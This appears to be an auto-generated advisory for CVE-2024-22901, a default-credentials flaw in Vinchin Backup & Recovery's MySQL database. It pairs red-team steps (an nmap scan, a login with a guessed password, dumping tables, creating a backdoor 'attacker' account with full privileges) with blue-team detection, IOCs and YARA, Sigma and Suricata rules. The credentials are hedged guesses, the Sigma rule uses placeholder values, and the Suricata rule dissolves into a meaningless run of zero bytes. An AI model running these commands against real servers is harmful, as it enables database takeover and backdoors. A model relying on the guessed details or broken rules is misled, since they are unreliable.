CVE-2024-22901
Executive Summary
CVE-2024-22901 identifies a critical security flaw in Vinchin Backup & Recovery v7.2, where the software uses default MySQL credentials. This vulnerability allows an unauthenticated, remote attacker to gain full administrative access to the underlying MySQL database, potentially leading to data exfiltration, modification, or complete compromise of the backup infrastructure. The use of default credentials is a well-known weakness that bypasses all authentication controls. As of this report, no official patch has been released, and the vulnerability is publicly known.
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CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high CVSS score reflects the ease of exploitation (no authentication, low complexity) and the severe impact on confidentiality, integrity, and availability. An attacker can completely control the database, which often contains sensitive backup data and credentials.
Deep Dive & Mechanics
The vulnerability stems from the Vinchin Backup & Recovery v7.2 installation process, which configures the MySQL database with default, well-known credentials. These credentials are typically hardcoded in the application’s configuration files or documentation. An attacker who can reach the MySQL service (default port 3306) can authenticate using these default credentials.
The attack flow is:
- Discovery: The attacker scans for exposed MySQL services on port 3306, possibly using Shodan or direct network scanning.
- Authentication: The attacker attempts to log in using the default username (e.g.,
root) and password (e.g.,vinchinor similar). - Exploitation: Once authenticated, the attacker has full SQL privileges. They can:
- Dump all databases, including backup metadata and credentials.
- Modify or delete backup data.
- Create new users or backdoors.
- Potentially pivot to other systems using stored credentials.
The root cause is a failure to enforce credential changes during installation or first-time setup.
Vulnerable vs. Patched Code
Vulnerable Configuration (v7.2):
The MySQL configuration file (e.g., my.cnf or my.ini) or the application’s database connection settings contain hardcoded default credentials.
[client]
user=root
password=vinchin
Patched Configuration (Hypothetical): A secure installation would either:
- Generate random credentials during installation.
- Force the administrator to set a strong password.
- Use a secrets management system.
[client]
user=root
password=<randomly_generated_strong_password>
Since no official patch exists, the only mitigation is manual credential change.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy Vinchin Backup & Recovery v7.2 in a controlled environment.
- Ensure the MySQL service is accessible on the network (default port 3306).
Exploitation Steps:
- Scan for MySQL service:
nmap -p 3306 --open <target_ip> - Attempt default credentials:
mysql -h <target_ip> -u root -pvinchin - If successful, enumerate databases:
SHOW DATABASES; USE vinchin_db; SELECT * FROM users; - Extract sensitive data or create a backdoor:
CREATE USER 'attacker'@'%' IDENTIFIED BY 'P@ssw0rd'; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%'; FLUSH PRIVILEGES;
Blue Team (Defensive)
Detection:
- Monitor for failed and successful MySQL authentication attempts from unexpected IPs.
- Alert on connections to MySQL from non-application servers.
- Use database audit logs to detect unusual queries (e.g.,
CREATE USER,GRANT).
Hunting:
- Search for default credential usage in logs:
grep "Access denied for user 'root'@'<ip>'" /var/log/mysql/error.log - Check for new MySQL users:
SELECT user, host FROM mysql.user WHERE user NOT IN ('root', 'mysql.sys');
Mitigation:
- Immediately change the MySQL root password.
- Restrict MySQL access to only the application server using firewall rules.
- Enable MySQL SSL/TLS to encrypt traffic.
Indicators of Compromise (IOCs)
- Network:
- Connections to port 3306 from unexpected external IPs.
- MySQL authentication logs showing successful logins with default credentials.
- Host:
- Presence of new MySQL users (e.g.,
attacker). - Unusual database queries in MySQL general log.
- Presence of new MySQL users (e.g.,
- File:
- Modified MySQL configuration files (
my.cnf,my.ini). - Exported database dumps in unexpected locations.
- Modified MySQL configuration files (
Detection Engineering
YARA Rule
rule CVE_2024_22901_Default_MySQL_Credentials {
meta:
description = "Detects default MySQL credentials in Vinchin Backup & Recovery v7.2 configuration files"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22901"
strings:
$cred1 = "user=root" ascii wide nocase
$cred2 = "password=vinchin" ascii wide nocase
$cred3 = "password=default" ascii wide nocase
condition:
all of ($cred*)
}
Sigma Rule
title: Default MySQL Credentials Used for Vinchin Backup & Recovery
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful MySQL authentication using default credentials for Vinchin Backup & Recovery v7.2
author: Valters IT
date: 2024-01-01
logsource:
product: mysql
service: authentication
detection:
selection:
EventID: 3113 # MySQL successful login
User: 'root'
SourceIP: '0.0.0.0/0' # Adjust to exclude trusted IPs
condition: selection
falsepositives:
- Legitimate administrative access from trusted IPs
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 3306 (msg:"CVE-2024-22901 - Default MySQL Credentials Attempt"; flow:to_server,established; content:"|00 00 00 01 8d a6 0f 00 00 00 00 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 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